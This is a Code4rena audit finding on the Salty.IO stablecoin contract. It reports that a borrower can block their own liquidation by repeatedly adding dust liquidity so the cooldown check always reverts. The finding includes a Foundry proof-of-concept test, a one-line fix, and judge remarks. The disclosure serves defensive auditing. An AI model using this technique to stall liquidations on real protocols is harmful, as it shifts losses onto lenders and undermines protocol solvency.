User can prevent anyone from liquidating him, by continuously adding dust liquidity

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L140-L188

Vulnerability details

Impact

Users can be liquidated if their collateral to USDS ratio falls below a certain ratio/percent. There's also another concept while adding/removing liquidity to the protocol and that is the cooldown, where users have to wait a certain period before doing another action, either addition or removal. However, the liquidate function liquidateUser is using:

_decreaseUserShare(
    wallet,
    collateralPoolID,
    userCollateralAmount,
    true
);

while setting useCooldown to true, so it will check the last user's action before liquidating him. Users can abuse this and continuously (when the cooldown passes) add dust liquidity which blocks anyone from liquidating them, and the function will always revert with Must wait for the cooldown to expire.

Proof of Concept

function test_bug_DOSLiquidate() public {
    uint256 depositedWBTC = (1000 ether * 10 ** 8) /
        priceAggregator.getPriceBTC();
    uint256 depositedWETH = (1000 ether * 10 ** 18) /
        priceAggregator.getPriceETH();

    vm.prank(bob);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        depositedWBTC,
        depositedWETH,
        0,
        block.timestamp,
        false
    );

    vm.startPrank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        depositedWBTC,
        depositedWETH,
        0,
        block.timestamp,
        false
    );
    vm.warp(block.timestamp + 1 hours);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        depositedWBTC,
        depositedWETH,
        0,
        block.timestamp,
        false
    );
    vm.stopPrank();

    uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

    vm.prank(alice);
    collateralAndLiquidity.borrowUSDS(maxUSDS);

    _crashCollateralPrice();

    vm.prank(bob);
    vm.expectRevert("Must wait for the cooldown to expire");
    collateralAndLiquidity.liquidateUser(alice);

    vm.warp(block.timestamp + 1 hours);

    vm.prank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        101,
        101,
        0,
        block.timestamp,
        false
    );

    vm.prank(bob);
    vm.expectRevert("Must wait for the cooldown to expire");
    collateralAndLiquidity.liquidateUser(alice);
}

Tools Used

Manual review + vscode

Recommended Mitigation Steps

Replace the following in liquidateUser function:

_decreaseUserShare(
    wallet,
    collateralPoolID,
    userCollateralAmount,
    true
);

with

_decreaseUserShare(
    wallet,
    collateralPoolID,
    userCollateralAmount,
    false
);

Assessed type

DoS

[c4-judge]

Picodes marked the issue as duplicate of #312

[c4-judge]

Picodes marked the issue as satisfactory